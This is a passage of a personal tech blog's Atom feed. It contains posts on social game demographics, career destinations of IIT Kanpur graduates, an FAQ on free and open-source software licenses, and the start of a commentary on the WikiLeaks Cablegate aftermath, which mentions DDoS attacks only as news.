In-game processing is the main source of revenue in the case of social games as compared to video games.
Being in small chunks, the monetization of social games is easier.</li>
<li>Demographic trends
<ol>
<li>There is an upward trend in earning women which benefits social games more than video games since
% female players of social games = 60% [   
    
    
<a href="https://techcrunch.com/2011/03/20/why-women-rule-the-internet/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>]
% female players of video games = 40% [   
    
    
<a href="https://web.archive.org/web/20111223230349/https://www.theesa.com/facts/index.asp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>]</li>
<li>Growing percentage of the middle-aged population(34-60) [   
    
    
<a href="https://www.nationmaster.com/country/us/Age_distribution?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>] which prefers social games over video games
Avg age of player of social games = 48 [   
    
    
<a href="https://blog.ogilvypr.com/2010/02/social-games-spanning-wider-demographics-and-capturing-more-time/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>]
Avg age of player of video games = 34 [   
    
    
<a href="https://web.archive.org/web/20111223230349/https://www.theesa.com/facts/index.asp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>]</li>
<li>non-increasing 15-34 population [   
    
    
<a href="https://www.nationmaster.com/country/us/Age_distribution?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>] which is the niche market for video games.</li>
</ol>
</li>
</ol>
<p>A few implications are subtle here for all tech-related industries</p>
<ol>
<li>Demographics is changing rapidly (in the developed world)
The average consumers are not only getting older in age but now there are   
    
    
<a href="https://techcrunch.com/2011/03/20/why-women-rule-the-internet/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">more</a> females consumers as compared to males.
Hence, anything which focuses on youth or males (or at worst young males!!!) finds a stagnant consumer base.</li>
<li>Presence of social, local and mobile layer plays a major role in the success of the product.</li>
</ol>
<p><em>This is my personal blog. The views expressed on these pages are mine alone and not those of my employer.</em></p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Career Destination of IITians: USA vs India</title><link href="https://ashishb.net/misc/career-destination-of-iitians-usa-vs-india/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/random-thoughts-rape-and-the-indian-blame-game/?utm_source=atom_feed" rel="related" type="text/html" title="Random Thoughts: Rape and The Indian Blame Game"/><link href="https://ashishb.net/misc/the-female-foeticide/?utm_source=atom_feed" rel="related" type="text/html" title="Female Foeticide"/><link href="https://ashishb.net/tech/towards-a-broken-future-of-internet/?utm_source=atom_feed" rel="related" type="text/html" title="Towards a broken future of Internet"/><link href="https://ashishb.net/tech/a-fundamental-problem-with-aakash-indian-government-tablet-initiative/?utm_source=atom_feed" rel="related" type="text/html" title="Questioning Aakash - Indian Government tablet initiative"/><link href="https://ashishb.net/politics/understanding-corruption-a-talk-by-subramanian-swamy/?utm_source=atom_feed" rel="related" type="text/html" title="Understanding Corruption: A talk by Subramanian Swamy"/><id>https://ashishb.net/misc/career-destination-of-iitians-usa-vs-india/</id><author><name>Ashish Bhatia</name></author><published>2011-02-14T00:35:00+00:00</published><updated>2011-02-14T00:35:00+00:00</updated><content type="html"><![CDATA[<blockquote>Explore a decade-long trend of IITK graduate career preferences, revealing fascinating insights into their choices despite notable data limitations.</blockquote><p>I decided to explore the trend of the past decade to see what the data says about the career preferences of IIT graduates.</p>
<p>
<a href="in_usa.png"><img alt="%age of IITK graduates in USA as a function of year of entrance" loading="lazy" src="/misc/career-destination-of-iitians-usa-vs-india/in_usa.png"></a></p>
<p>
<a href="in_india1.png"><img alt="%age of IITK graduates in India as a function of year of entrance" loading="lazy" src="/misc/career-destination-of-iitians-usa-vs-india/in_india1.png"></a></p>
<p>Limitations</p>
<ol>
<li>Data is only about undergraduates (b.tech + M.Tech + M.Sc. integrated courses) - I removed data about post-graduates since I have seen that they usually follow a different career trajectory than undergraduates.</li>
<li>It is based on the year of entrance to IIT and not the year of graduation.</li>
<li>Few alumni went to Europe, Singapore, Korea, Middle-east, Australia, and Africa. This is not covered in the graphs.</li>
<li>Data covers only IITK alumni. I did not have the data for the rest.</li>
<li>Data covers all departments.</li>
<li>The anomaly in 1997 (year of graduation=2001) is probably due to the dot-com bust and recession in the US economy in 2001.</li>
</ol>
<p>I do believe that graphs are good enough to draw qualitative conclusions but due to the aforementioned limitations, I would suggest the reader refrain from drawing any quantitative conclusions.</p>
<p>The graphs are based on the data provided by   
    
    
<a href="https://www.linkedin.com/in/cherianvarkeymathew?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Cherian Varkey Mathew</a>.</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/></entry><entry><title type="html">FOSS (Free and Open Source Code) Licensing FAQ</title><link href="https://ashishb.net/tech/foss-free-and-open-source-code-licensing-faq/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/how-indian-govt-deals-with-technology/?utm_source=atom_feed" rel="related" type="text/html" title="How Indian Government deals with Technology"/><link href="https://ashishb.net/programming/how-to-compile-android-emulator-on-ubuntu-13-10/?utm_source=atom_feed" rel="related" type="text/html" title="How to compile android emulator on ubuntu 13.10"/><link href="https://ashishb.net/programming/understanding-directory-permissions-on-linux/?utm_source=atom_feed" rel="related" type="text/html" title="Understanding Directory Permissions on Linux"/><link href="https://ashishb.net/programming/programming-in-linux-for-newbies/?utm_source=atom_feed" rel="related" type="text/html" title="Programming in Linux for newbies"/><link href="https://ashishb.net/tech/towards-a-broken-future-of-internet/?utm_source=atom_feed" rel="related" type="text/html" title="Towards a broken future of Internet"/><id>https://ashishb.net/tech/foss-free-and-open-source-code-licensing-faq/</id><author><name>Ashish Bhatia</name></author><published>2011-01-23T22:41:32+00:00</published><updated>2011-01-23T22:41:32+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the essentials of FOSS and open-source licenses. Understand GPL, LGPL, BSD, MIT, and more, to make informed software licensing decisions today!</blockquote><p>There are two choices while writing on this topic. One is to write a detailed and accurate port. The other is to write a short post. I preferred the second approach and had added appropriate links to dig further.</p>
<ol>
<li><strong>Target Audience?</strong>
<ul>
<li>Someone who is planning to use FOSS, free and open-source code, as a building block for their software development.</li>
<li>Someone who wants to contribute to FOSS</li>
<li>Someone who wants to release source code of their project in public</li>
</ul>
</li>
</ol>
<h2 id="a-few-theoretical-questions-can-be-skipped">A few theoretical questions** (can be skipped)</h2>
<ol>
<li>
<p><strong>What&rsquo;s free software?</strong> As defined by   
    
    
<a href="https://www.gnu.org/philosophy/free-sw.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Free Software Foundation</a>, it&rsquo;s software whose licensing conditions promise following four freedoms</p>
<ul>
<li>Freedom 0: freedom to run the program for any purpose.
Eg. Software restricted for educational use hinders this freedom like those distributed under Microsoft Academic Alliance</li>
<li>Freedom 1: freedom to study how the program works, and change it to make it do what you wish.
Eg. Software whose licensing terms   
    
    
<a href="https://www.eff.org/wp/dangerous-terms-users-guide-eulas?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">forbids</a> reverse engineering curtails this freedom</li>
<li>Freedom 2: freedom to redistribute copies.
Eg. Software like WinXP whose licensing terms   
    
    
<a href="https://www.eff.org/wp/dangerous-terms-users-guide-eulas?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">forbids</a> the copying of software and using it on multiple systems curtails this freedom.</li>
<li>Freedom 3: freedom to improve the program, and release your improvements and modified versions to the public.
Eg. Freeware which can be downloaded for free of cost but modifying them and then distributing modified copy is a violation of license agreement, hence, violating the copyright law.</li>
</ul>
</li>
<li>
<p><strong>What&rsquo;s open-source software?</strong> Quite literally, it implies that the source code of the software is available. But,   
    
    
<a href="https://opensource.org/osd.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">OSI</a> has a stricter definition.
There are minor differences in the free and open-source movement. For example, if a hardware lock preventing the execution of a modified software is considered a violation of user&rsquo;s freedom. But it is believed that it does not violate the definition of being open-source. A detailed article   
    
    
<a href="https://www.linfo.org/open_source.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>.</p>
</li>
<li>
<p><strong>What is FOSS (free and open-source software)?</strong> Though the open-source software is a subset of free software, the word FOSS (which is identical to Free) is used to refer to software which is both free and open-source. So, from a developer&rsquo;s perspective, it is the same as Free software.</p>
</li>
<li>
<p><strong>But I thought free software has zero price?</strong> Zero price is not central to the philosophy of free software; it&rsquo;s just the outcome of Freedom 2 and economics of demand-supply.
It must be noted that there is zero price software which does not adhere to above freedom; they are called   
    
    
<a href="https://en.wikipedia.org/wiki/Freeware?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">freeware</a>.</p>
</li>
<li>
<p><strong>So, free software is more about &ldquo;freedom&rdquo; rather than &ldquo;free (zero-price) stuff&rdquo;?</strong> Yes</p>
</li>
</ol>
<h2 id="now-the-practical-part">Now, the practical part</h2>
<ol>
<li><strong>What are the major free software licenses?</strong>
<ol>
<li>GPL</li>
<li>LGPL</li>
<li>Apache</li>
<li>BSD</li>
<li>MIT</li>
<li>Affero GPL
  
    
    
<a href="https://www.opensource.org/licenses/category?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Full drafts</a> of these can be found here; I will highlight the important points below.</li>
</ol>
</li>
<li><strong>What about creative commons?</strong> Do NOT use creative commons for code licensing.
Creative Commons license is meant for artwork   
    
    
<a href="https://wiki.creativecommons.org/Frequently_Asked_Questions#Should_I_use_Creative_Commons_licenses_for_software_documentation.3F?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">excluding</a> software code. Therefore, it can still apply to images/text/videos which are a part of the software.
For software code, use one of the above licenses instead.</li>
<li><strong>What about the Mozilla Public License (or any other license not in the above list)?</strong> I might write about them once, I have read them and understood them.</li>
</ol>
<h2 id="gpl">GPL</h2>
<ol>
<li>
<p><strong>What is GPL (GNU General Public License)?</strong> Any software released under GPL implies that it,</p>
<ol>
<li>The software guarantees all four freedom above. There is a minor issue read the next question for that.</li>
<li>Software code will be provided (on request or with the executable) in usable, unobfuscated format. There was a   
    
    
<a href="https://yro.slashdot.org/yro/10/05/23/2018220.shtml?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">debate</a> on Slashdot about whether providing the right build environment is necessary and I think the answer is yes since not providing it violates Freedom 3)</li>
<li>A work derived from GPL-licensed work must be licensed again under GPL. Any &ldquo;patchwork&rdquo; to original code is derived work; this includes   
    
    
<a href="https://wordpress.org/news/2009/07/themes-are-gpl-too/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">WordPress themes</a>.
A work statically linked to a GPL licensed library will be considered derived work and hence must be distributed under GPL license. A work dynamically linked to a GPL licensed library is a grey area. FSF   
    
    
<a href="https://www.gnu.org/licenses/gpl-faq.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">believes</a> it&rsquo;s derived work. Novell lawyer Matt Asay   
    
    
<a href="https://www.novell.com/coolsolutions/feature/1532.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">believes</a> it is not. A work which includes GPL licensed header files containing only macro definitions and no inline code is not considered a derived work. See discussion on the   
    
    
<a href="https://groups.google.com/group/android-platform/browse_thread/thread/1832ea5b1652580f?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">android-platforms</a> group.</li>
</ol>
</li>
<li>
<p><strong>What if the company releases source-code (due to GPL license) and then locks down its hardware from running modified code?</strong> This is called TiVoization since a consumer electronics TiVo did this. GPLv3 includes a   
    
    
<a href="https://fsfe.org/projects/gplv3/drm-and-gplv3?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">specific clause</a> which implies that hardware lock, e.g., encryption keys/checksum matching cannot be applied to the products. More discussion   
    
    
<a href="https://www.oss-watch.ac.uk/resources/gpl3final.xml#body.1_div.2?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>. Industrial products like cardiac pacemaker are an exception for safety reasons.</p>
</li>
<li>
<p><strong>Are there any other significant changes in GPLv3?</strong> Yes, Microsoft   
    
    
<a href="https://blog.seattlepi.com/microsoft/archives/108806.asp?source=rss&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">claimed</a> that GNU/Linux violates its patents. Further, Microsoft and Novell made a   
    
    
<a href="https://www.novell.com/linux/microsoft/openletter.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">deal</a> with a controversial conclusion that Novell customers are protected from patent infringement by Microsoft. So, all others GNU/Linux users who are not Novell customers are not. GPLv3 prevents such future deals in two   
    
    
<a href="https://www.oss-watch.ac.uk/resources/gpl3final.xml#body.1_div.6?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ways</a></p>
<ol>
<li>It dictates that anyone who distributes GPL v3-licensed code and provides a patent license to some group of recipients must automatically extend that license to all recipients.
(So, non-Novell customers are protected as well).</li>
<li>It includes a stipulation that an entity, like Novell, cannot distribute covered code if the entity enters into a deal with another software distributor that involves them paying that software distributor to not sue your customers. In this case, the &lsquo;payment&rsquo; would be in the form of an undertaking not to litigate.</li>
</ol>
</li>
<li>
<p><strong>What if I initially released my project under GPL and now wish to move to non-GPL license?</strong> You own right to modify license for &ldquo;your&rdquo; code. But any patches supplied by any 3rd party are still under GPL, so, you need their permission before releasing their patches as a part of your non-GPL code. Also, the previous version of your code is still available to 3rd parties, and they can fork and develop that.</p>
</li>
</ol>
<h2 id="lgpl">LGPL</h2>
<ol>
<li><strong>What is LGPL (GNU Lesser General Public License)?</strong>
<ol>
<li>It is more permissive that GNU GPL in the sense that an LGPL licensed library can be dynamically linked to by a non-LGPL(read proprietary) code.</li>
<li>Any derived work must still be released with the clause that &ldquo;modification and reverse engineer is allowed for personal use and debugging.&rdquo;
Some people confuse LGPL as library GPL, which is a license for open-sourcing their libraries. This assumption arises from its former name, Library GPL. GNU website   
    
    
<a href="https://www.gnu.org/licenses/why-not-lgpl.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">states</a> that if your library is similar in functionality to other proprietary libraries use LGPL, but if your library offers something unique use GPL.</li>
</ol>
</li>
<li><strong>Can I write GPL code which uses LGPL library?</strong> Yes</li>
<li><strong>Can I write GPL code derived from LGPL library?</strong> Yes</li>
</ol>
<h2 id="permissive-licenses">Permissive Licenses</h2>
<ol>
<li>
<p><strong>What is BSD license?</strong> There are   
    
    
<a href="https://en.wikipedia.org/wiki/BSD_licenses?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">various</a> versions of this license. The fundamental crux of all these is &ldquo;any code released under this license can be used in any manner after providing accreditation to the original author of the code&rdquo;.
Contrast this with GPL, no release of source code for the derived work is necessary, no prevention of TiVoization and, it is silent about the issue of software patents. Due to the permissive nature of this license, the BSD based code is heavily used by major companies.</p>
</li>
<li>
<p><strong>Can a BSD licensed code be used to write proprietary (closed-source) software?</strong> Yes</p>
</li>
<li>
<p><strong>Can a BSD licensed code be used to write GPL licensed software?</strong> Yes. Do note that for the reverse case, everything has to be distributed under GPL and not BSD.</p>
</li>
<li>
<p><strong>What is the MIT license?</strong>   
    
    
<a href="https://en.wikipedia.org/wiki/MIT_License#Comparison_to_other_licenses?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Same</a> as 2-clause BSD license(FreeBSD license).</p>
</li>
<li>
<p><strong>What is Apache license?</strong> Apache is similar to FreeBSD license except   
    
    
<a href="https://www.oss-watch.ac.uk/resources/apache2.xml#body.1_div.4?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">that</a> it is,</p>
<ol>
<li>Legally more elaborate and,</li>
<li>explicitly grants patent rights were necessary to operate, modify and, distribute the software.</li>
</ol>
</li>
<li>
<p><strong>Can an Apache-licensed code be mixed with GPL licensed code?</strong> Not with GPLv2 but Yes with GPLv3 because of the patent clause.
GPLv2 does not allow any additional restrictions while GPLv3 allows a patent retaliation clause. I know its all confusing, but that&rsquo;s how it is. Further reading   
    
    
<a href="https://www.oss-watch.ac.uk/resources/apache2.xml#body.1_div.3?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>.</p>
</li>
</ol>
<h2 id="finally">Finally</h2>
<ol>
<li>
<p><strong>Can you summarize this?</strong> Use GPL if you wish to restrict the use of your work and thus, ensuring more freedom for users of derived work.
Use LGPL if you are developing a library which replicates functionalities of a closed-source library.
Use Apache/BSD/MIT if you wish to allow more extensive use of your work (but less freedom for users of derived work)
Apache has a distinct advantage of being more legally   
    
    
<a href="https://www.zdnet.com/blog/burnette/google-says-no-to-license-proliferation/192?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">explicit</a> than BSD/MIT and patent indemnification clause. But as mentioned in the previous question, the same patent clause renders Apache   
    
    
<a href="https://copyleftvscopyright.pbworks.com/w/page/10285921/Copyleft-Licenses?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">incompatible</a> with GPLv2.
BSD/MIT have an advantage over Apache of being compatible with GPL. BSD/MIT licensed code can be included in GPL-licensed project. Also, they are easy to comprehend for a software developer without a lawyer — further reading   
    
    
<a href="https://www.newmediarights.org/open_source/new_media_rights_open_source_licensing_guide?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a> and   
    
    
<a href="https://www.smashingmagazine.com/2010/03/24/a-short-guide-to-open-source-and-similar-licenses/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>.</p>
</li>
<li>
<p><strong>What is Affero GPL?</strong> It is useful for remotely executed applications like web applications which interact with their users over the network, and binaries are not distributed.
Consider a simple example. Bob releases a web CMS under GPL, John modifies it and uses it for its website, John is under no obligation to release source-code of his website. If Bob releases his CMS under Affero GPL, then John would have to provide a download button on his website for downloading the source code.</p>
</li>
<li>
<p><strong>What is dual-licensing (or more generically, multi-licensing)?</strong> Since all licenses are not compatible with each other, project owners can release their code under   
    
    
<a href="https://producingoss.com/en/dual-licensing.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">multiple-licenses</a> simultaneously. Hence, the one who wants to use the code can choose the license as per his/her needs. E.g., jquery is dual-licensed under MIT and GPL)</p>
</li>
<li>
<p><strong>What is copyright?</strong> Creator of creative work, including artwork and software, has certain rights automatically granted to him/her due creation. These rights include the ability to sell his right to someone, sell copies of work while still retaining rights, allow someone to create derivative work for royalty, and impose further restrictions. More details   
    
    
<a href="https://www.wipo.int/copyright/en/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>. All the licenses mentioned here are copyright licenses.</p>
</li>
<li>
<p><strong>What is copyleft?</strong> Copyleft is a category of copyright licenses which allow someone to create derivative work and distribute copies of the work while imposing restrictions on how derivative work can be re-distributed/re-used. Eg. If someone is stating that derivative work is allowed, then they cannot restrict the distribution of the derivative work.
GPL and LGPL (both described below) are examples of strong and weak &ldquo;copyleft&rdquo; licenses, respectively.
BSD and Apache are examples of non-copyleft free software licenses.
The two questions on copyright and copyleft tare added in response to   
    
    
<a href="https://article.gmane.org/gmane.user-groups.linux.delhi/26289?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">suggestion</a>. More details   
    
    
<a href="https://www.gnu.org/copyleft/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a></p>
</li>
</ol>
<p>Disclaimer:</p>
<ol>
<li><em>I am not a lawyer. This blog post is based on my understanding of the major open-source licenses and might have errors/omissions. In case, you might spot an error/omissions, please mention that in comments and I will correct that.</em></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/foss" term="foss" label="foss"/><category scheme="https://ashishb.net/tag/linux" term="linux" label="linux"/></entry><entry><title type="html">Cablegate and the aftermath: a few observations</title><link href="https://ashishb.net/tech/cablegate-and-the-aftermath-a-few-observations/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/nokia-and-the-smartphone-era/?utm_source=atom_feed" rel="related" type="text/html" title="Nokia and the smartphone era"/><link href="https://ashishb.net/tech/how-indian-govt-deals-with-technology/?utm_source=atom_feed" rel="related" type="text/html" title="How Indian Government deals with Technology"/><link href="https://ashishb.net/tech/the-decline-of-microsoft-and-intel-in-internet-centric-era/?utm_source=atom_feed" rel="related" type="text/html" title="Decline of Microsoft and Intel in smartphone+Internet era"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><link href="https://ashishb.net/tech/journey-of-online-influencers/?utm_source=atom_feed" rel="related" type="text/html" title="Journey of online influencers"/><id>https://ashishb.net/tech/cablegate-and-the-aftermath-a-few-observations/</id><author><name>Ashish Bhatia</name></author><published>2010-12-29T07:56:52+00:00</published><updated>2010-12-29T07:56:52+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the aftermath of WikiLeaks&rsquo; Cablegate: from hacktivism, corporate actions, legal intrigues, to global internet control implications, and privacy debates.</blockquote><p>Wikileaks released a set of United States   
    
    
<a href="https://en.wikipedia.org/wiki/Diplomatic_cable?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">diplomatic cables</a> on Nov 28, 2010, popularly referred to as   
    
    
<a href="https://en.wikipedia.org/wiki/United_States_diplomatic_cables_leak?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Cablegate</a>. Let&rsquo;s consider the events which happened afterward.
Events:</p>
<ol>
<li>A   
    
    
<a href="https://twitter.com/th3j35t3r/status/8928679056900096?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hacktivist</a> brought   
    
    
<a href="https://www.informationweek.com/news/software/showArticle.jhtml?articleID=228400244&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">down</a> WikiLeaks(just before the cable leak) using Distributed Denial of Service(   
    
    
<a href="https://en.wikipedia.org/wiki/Denial-of-service_attack?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">DDOS</a>) attack.</li>
<li>Amazon   
    
    
<a href="https://news.cnet.com/8301-13578_3-20024376-38.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">shuts</a> down Wikileaks (which use to run on its EC2 service)</li>
<li>Bank of America, Paypal, and Visa   
    
    
<a href="https://www.infowars.com/bank-of-america-cuts-off-wikileaks-payments/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">declared</a> not to process payment(donations) to WikiLeaks.</li>
<li>Suddenly, the   
    
    
<a href="https://timesofindia.indiatimes.com/world/us/Sex-accusers-boasted-about-their-conquest-of-WikiLeaks-founder-Julian-Assange/articleshow/7068149.cms?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Swiss rape case</a> against Wikileaks founder Julian Assange (the case was registered and closed on August 20, 2010) was reopened. One week after the cable leaks, on Dec 6, Assange was   
    
    
<a href="https://www.independent.co.uk/news/uk/crime/arrest-warrant-on-assange-to-be-served-today-2153031.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">notified</a> about the rape case, The Guardian further   
    
    
<a href="https://www.guardian.co.uk/media/2010/dec/17/julian-assange-sweden?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">published</a> the allegations in the case, and from here began an   
    
    
<a href="https://web.archive.org/web/20180516111913/https://www.feministe.us/blog/archives/2010/12/06/some-thoughts-on-sex-by-surprise/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">analysis</a> of what is consensual and what is not. It should be noted that the leak of the Afghan documents happened on July 25, 2010, and within a month the first rape case on Assange was registered.</li>
<li>Assange   
    
    
<a href="https://blogs.villagevoice.com/runninscared/2010/12/julian_assanges.php?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">dating profile</a> from OKCupid was discussed and his more than five years old love letters to a 19-year-old were   
    
    
<a href="https://web.archive.org/web/20160614035214/https://gawker.com/5714043/the-creepy-lovesick-emails-of-julian-assange?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">leaked</a>. He was 33 then.</li>
<li>  
    
    
<a href="https://en.wikipedia.org/wiki/Operation_Payback#Operation_Avenge_Assange?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Anonymous</a> brings down   
    
    
<a href="https://blogs.forbes.com/parmyolson/2010/12/24/ddos-attacks-on-visa-mastercard-were-symbolic-more-to-come/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Visa</a>,   
    
    
<a href="https://www.computerworld.com/s/article/9200521/Update_MasterCard_Visa_others_hit_by_DDoS_attacks_over_WikiLeaks?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mastercard</a>, the   
    
    
<a href="https://www.telegraph.co.uk/news/worldnews/wikileaks/8187960/Wikileaks-Swedish-prosecutors-office-targeted-by-Anonymous-cyber-attack.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">swiss rape case prosecutor&rsquo;s website</a>, and some   
    
    
<a href="https://www.foxnews.com/politics/palin-confirms-cyberattack-by-wikileaks-supporters?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">other</a> websites (using DDOS of course) under   
    
    
<a href="https://pandalabs.pandasecurity.com/operationpayback-broadens-to-operation-avenge-assange/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Operation</a> Avenge Assange.</li>
<li>Bank of America (~300)   
    
    
<a href="https://www.google.com/url?sa=t&amp;source=web&amp;cd=3&amp;sqi=2&amp;ved=0CDMQFjAC&amp;url=http%3A%2F%2Fwww.ft.com%2Fcms%2Fs%2F0%2F3993f69e-0e2b-11e0-86e9-00144feabdc0.html&amp;ei=-MkaTfi4G5KWsgPOtb2_Ag&amp;usg=AFQjCNFCbHhsxMHVdpAEyQaTAVSIwFd_KQ&amp;sig2=EJ0vKIQAOg4U_2j0Bwj0Ug&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">registers</a> anti-BofA domain names</li>
<li>CIA creates   
    
    
<a href="https://www.washingtonpost.com/wp-dyn/content/article/2010/12/21/AR2010122104599.html?hpid=topnews&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">WTF</a> (Wikileaks Task Force)</li>
</ol>
<p>Observations:</p>
<ol>
<li>Some people   
    
    
<a href="https://www.google.com/url?sa=t&amp;source=web&amp;cd=1&amp;ved=0CBMQFjAA&amp;url=http%3A%2F%2Fwww.nytimes.com%2F2010%2F12%2F10%2Fworld%2F10wiki.html&amp;ei=RswaTf-NKIu6sQPAiPXyCg&amp;usg=AFQjCNHOc2kbf0OPziSHpJRCQ7LgoZapGw&amp;sig2=3K4UmFIxluuTWb9PD7bq4w&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">believe</a> that DDOS is an expression of freedom of expression. Just like workers blocking entry to a factory during a strike.
Even if we buy this argument, the <strong>global nature of the internet has more severe implications</strong>. Just like   
    
    
<a href="https://en.wikipedia.org/wiki/Strike_action#Legal_prohibitions_on_strikes?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">strikes</a>, while DDOS is   
    
    
<a href="https://www.theregister.co.uk/2006/11/12/uk_bans_denial_of_service_attacks/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">illegal</a> in some countries, most countries have no laws against it. Consider (say) a person in the UK, who has to access say PayPal which is being DDOSed from a country where there is no law against DDOS. This poses an interesting question on how will nations implement their laws in this borderless world. China did have some success in implementing its laws with its   
    
    
